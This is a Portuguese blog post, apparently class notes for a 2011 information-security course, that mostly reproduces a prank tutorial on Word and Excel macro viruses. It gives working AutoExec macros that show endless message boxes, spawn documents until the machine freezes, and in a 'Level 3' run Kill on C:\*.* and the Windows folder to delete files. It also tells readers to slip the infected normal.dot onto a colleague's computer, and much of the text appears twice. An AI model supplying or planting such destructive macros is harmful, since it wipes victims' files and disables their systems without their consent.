Usuários online

segunda-feira, 21 de novembro de 2011

Segurança da Informação - Aula 21/11/2011 (Vírus e Vírus de Macro)

Vírus

Falemos um pouco mais de vírus, mas dessa vez poderemos pegar alguns códigos e analisá-los. Você pode fazer download dos vírus aqui (mas precisa se inscrever para conseguir fazer o download). Os vírus estarão inóquos em formato TXT.

Para melhor conhecer cada tipo de vírus (ao menos os mais conhecidos), você pode visitar http://pt.kioskea.net/contents/virus/ e escolher o vírus que quiser. Depois, veja os sintomas de infecção e os possíveis arquivos que ele infecta em sua máquina. É uma boa maneira de perceber quando sua máquina apresenta sintomas de infecção por um tipo de vírus específico.


Vírus de Macro


Ainda hoje existe muita gente que so é capaz de abrir o Word, editar, negritar, sublinhar e mandar para impressora, muitos, milhares so sabem mexer no básico mesmo. Eles nem imaginam o que tem por traz deste riquíssimo processador de texto. Esta matéria tem como objetivo fazer desde pequenas até grandes sacanagens com usuários pentelhos. O Word possui um arquivo chamado "normal.dot" onde estão todas as configuracões padrão do word. Se por algum motivo este arquivo for deletado o Word cria automaticamente quando for inicializado.   Obs.: Software/versão abrangido: Microsoft Word , versões 6.0 e 7.0             
Níveis de sacanagem
Nível 1..... Apenas uma brincadeira
Nível 2..... Apenas uma brincadeira de mau gosto
Nível 3..... não é mais brincadeira.
Primeiro voce precisa criar uma macro... siga os passos:
Entre no Word, feche a janela de documento, não deixe nenhum documento aberto(ativo), clique em Arquivo(File) depois Macro, coloque no nome da macro "AutoExec"(obrigatório) esta macro é inicializada toda vez que o Word for iniciado, depois clique em 'Criar', delete as duas linhas que tiver la (Sub MAIN e End Sub) e cole a rotina que tem logo mais abaixo.
Existem outras formas/meios de criar uma macro, mas esta é mais simples.

Nível 1
O nível 1 serve para voce se mostrar, falando que entende do Word melhor do que ninguem. Cada vez que o usuario inicia o Word recebera uma mensagem... de alerta ou qualquer outro coisa que sair da sua mente. veja abaixo.
Sub MAIN
MsgBox "Voce ‚ um pentelho! Eu nÆo irei prosseguir com o sistema", "Microsoft Word", 5
MsgBox "Usu rio Pirata Detectado", "FATAL ERROR", 16
MsgBox "JAMES BOND 007 ", "007 na estrada Digital", 64
End Sub

Nível 2
É para deixar o usuario irritadissimo. no corpo da macro cole este texto abaixo:
Sub MAIN
ArquivoNovoPadrão
Inserir "James"
ArquivoNovoPadrão
Inserir "Bond"
ArquivoNovoPadrão
Inserir "007"
ArquivoNovoPadrão
Inserir "James Bond 007 Na Estrada digital "
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "James Bond 007 Na Estrada digital "
End Sub

Nível 3
Bom este nível é pura sacanagem,com ele um simples clicar* do mouse, e tudo desaparece! isto mesmo "del *.*" ou apenas os documentos, voce é quem sabe.
Sub MAIN
Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub
Lembre-se de que estes macros, sao gravado no arquivo default do word, ou seja no 'normal.dot' se este arquivo for deletado, o Word cria automaticamente na inicializacao,entao se voce for fazer estas sacanagens ai acima, proteja este arquivo, com o comando 'attrib +r'.
Detalhes:
Existe uma forma de iniciar o Word, sem q inicialize a macro 'AutoExec' mas não irei falar, descubra voce mesmo. A macro do word é uma ferramenta riquissima, procure fuçar. Voce pode fazer estas no seu proprio computador(so cuide!), salvando sempre no arq."normal.dot" depois copie apenas este arquivo para aquele seu colega/amigo pentelho e saie de perto, para não explodir em voce. Não me responsabilizo por qualquer ato.

†† VIRUS DE MACRO ††

--------------------------------------------------------------------------------
Existe um texto muito famoso de virus de macro que todos conhecem !!. Mas este é diferrente por explicar técnicas muito melhores de se fazer um virus de macro !! Os virus de macro devem ser feitos no Excel pois as macros ficam guardadas no documento e não no NORMAL.DOT. O que é NORMAL.DOT ? Simples, o NORMAL.DOT é aberto toda vez que você cria um novo documento. Infelizmente No Word as macros ficam gravadas no NORMAL.DOT e por isso eu não recomendo criar Virus pelo Word. Vamos começar:
Versão 6 e 7 do Excel.
Clique em Inserir / Macro / Módulo.
Digite Sub AutoExec
A partir de agora você vai digitar o código de seu virus. Você pode digitar os seguintes comandos.
Código
Descrição
Dim ValorDeRetorno, I
ValorDeRetorno = Shell("CALC.EXE", 1)
AppActivate ValorDeRetorno
Executa a calculadora do Windows (você pode alterar por Winver.exe,iexplore.exe, etc...)
Workbooks.Add
Cria um novo documento
Application.Run "AutoExec"
Fica repetindo a macro sem parrar
Dim Closystem
Clo = #11:59:59 PM#
Time = Clo
Zera o relógio do Windows
MsgBox"mensagem"
Exibe uma caixa de dialogo com a "mensagem"
Beep
Emite um sinal sonoro

Após escrever o Código, digite End Sub

Agora vamos ver um exemplo de virus já feitos.
Sub AutoExec()
Beep
Beep
Beep
MsgBox "Oi... hehe... Acho que você se ferrou !!"
Aplication.Run "AutoExec"
End Sub

O VIRUS ACIMA EXIBE UMA MENSAGEM QUE NUNCA SAI DA TELA !!

--------------------------------------------------------------------------------

O virus abaixo abre infinitas Sobre o Win95 travando o Windows !!!
Sub AutoExec()
Beep
MsgBox Erro ao ler o arquivo. Ele pode estar corrompido.
Application.Run command
End Sub
Sub command()
Dim ValorDeRetorno, I
ValorDeRetorno = Shell(WINVER.EXE, 1)
AppActivate ValorDeRetorno
Application.Run command
End Sub

O virus abaixo exibe uma mensagem que nunca sai da tela !
Sub AutoExec()
Beep
Beep
Beep
MsgBox Oi... Acho que você se ferrou !!! hehe...
Application.Run AutoExec
End Sub

O virus abaixo vai consumindo os recursos aos poucos sem a pessoa perceber (hehe...)
Sub AutoExec()
Beep
MsgBox O documento esta corrompido
Beep
Beep
Beep
Beep
Application.Run command
End Sub
Sub command()
Workbooks.Add
Application.Run command
End Sub

Esse trava a maquina !!!
Sub AutoExec()
Dim ValorDeRetorno, I
ValorDeRetorno = Shell(CALC.EXE, 1)
AppActivate ValorDeRetorno
Application.Run AutoExec
End Sub

--------------------------------------------------------------------------------


--------------------------------------------------------------------------------

ATENÇÃO:
Ao copiar os códigos para a área de transferência, aparecerá espaços entre as linhas, por isso ao colar o código no Excel, tire os espaços entre as linhas

ATENÇÃO
Para a versão 8.0 do Excel, altere o Sub AutoExec() por Sub Auto_Open

Lembre-se de que estes macros, são gravado no arquivo default do word, ou seja no 'normal.dot' se este arquivo for deletado, o Word cria automaticamente na inicialização, então se você for fazer estas sacanagens ai acima, proteja este arquivo, com o comando 'attrib +r'.

               
undefined <>   
               
undefined <>   
More... <>         
               
undefined         
[Close] <>          
Ainda hoje existe muita gente que so é capaz de abrir o Word, editar, negritar, sublinhar e mandar para impressora, muitos, milhares so sabem mexer no básico mesmo. Eles nem imaginam o que tem por traz deste riquíssimo processador de texto. Esta matéria tem como objetivo fazer desde pequenas até grandes sacanagens com usuários pentelhos. O Word possui um arquivo chamado "normal.dot" onde estão todas as configuracões padrão do word. Se por algum motivo este arquivo for deletado o Word cria automaticamente quando for inicializado.   Obs.: Software/versão abrangido: Microsoft Word , versões 6.0 e 7.0             
Níveis de sacanagem
Nível 1..... Apenas uma brincadeira
Nível 2..... Apenas uma brincadeira de mau gosto
Nível 3..... não é mais brincadeira.
Primeiro voce precisa criar uma macro... siga os passos:
Entre no Word, feche a janela de documento, não deixe nenhum documento aberto(ativo), clique em Arquivo(File) depois Macro, coloque no nome da macro "AutoExec"(obrigatório) esta macro é inicializada toda vez que o Word for iniciado, depois clique em 'Criar', delete as duas linhas que tiver la (Sub MAIN e End Sub) e cole a rotina que tem logo mais abaixo.
Existem outras formas/meios de criar uma macro, mas esta é mais simples.

Nível 1
O nível 1 serve para voce se mostrar, falando que entende do Word melhor do que ninguem. Cada vez que o usuario inicia o Word recebera uma mensagem... de alerta ou qualquer outro coisa que sair da sua mente. veja abaixo.
Sub MAIN
MsgBox "Voce ‚ um pentelho! Eu nÆo irei prosseguir com o sistema", "Microsoft Word", 5
MsgBox "Usu rio Pirata Detectado", "FATAL ERROR", 16
MsgBox "JAMES BOND 007 ", "007 na estrada Digital", 64
End Sub

Nível 2
É para deixar o usuario irritadissimo. no corpo da macro cole este texto abaixo:
Sub MAIN
ArquivoNovoPadrão
Inserir "James"
ArquivoNovoPadrão
Inserir "Bond"
ArquivoNovoPadrão
Inserir "007"
ArquivoNovoPadrão
Inserir "James Bond 007 Na Estrada digital "
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "James Bond 007 Na Estrada digital "
End Sub

Nível 3
Bom este nível é pura sacanagem,com ele um simples clicar* do mouse, e tudo desaparece! isto mesmo "del *.*" ou apenas os documentos, voce é quem sabe.
Sub MAIN
Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub

Lembre-se de que estes macros, sao gravado no arquivo default do word, ou seja no 'normal.dot' se este arquivo for deletado, o Word cria automaticamente na inicializacao,entao se voce for fazer estas sacanagens ai acima, proteja este arquivo, com o comando 'attrib +r'. 

Detalhes:
Existe uma forma de iniciar o Word, sem q inicialize a macro 'AutoExec' mas não irei falar, descubra voce mesmo. A macro do word é uma ferramenta riquissima, procure fuçar. Voce pode fazer estas no seu proprio computador(so cuide!), salvando sempre no arq."normal.dot" depois copie apenas este arquivo para aquele seu colega/amigo pentelho e saie de perto, para não explodir em voce. Não me responsabilizo por qualquer ato.

Nenhum comentário:

Postar um comentário

Observação: somente um membro deste blog pode postar um comentário.

LinkWithin

Related Posts Plugin for WordPress, Blogger...

NOSSO OBJETIVO

OBJETIVO

Este blog será usado para divulgação de minhas ideias, notícias sobre tecnologia, disponibilização de links para download de materiais diversos (incluindo materiais didáticos -- que poderão ser usados em minhas aulas e/ou cursos). Gostaria de DEIXAR BEM CLARO que quaisquer materiais disponibilizados através deste blog são, tão somente, para acompanhamento de aulas e/ou cursos, e não constituem de modo algum, aulas na modalidade "ensino à distância" (EAD). Alunos têm total acesso aos materiais disponíveis, mas somente como tutoriais passo a passo. Apostilas disponibilizadas através deste blog não são materiais obrigatórios em disciplinas cursadas ou cursos ministrados.

RESPONSABILIDADE

O autor deste blog não é responsável pelo mau uso, intencional ou não, de qualquer código de programa disponibilizado aqui. Os códigos de programas disponíveis neste blog para download é e serão sempre, e tão somente, para uso didático durante o aprendizado. Seja bem-vindo.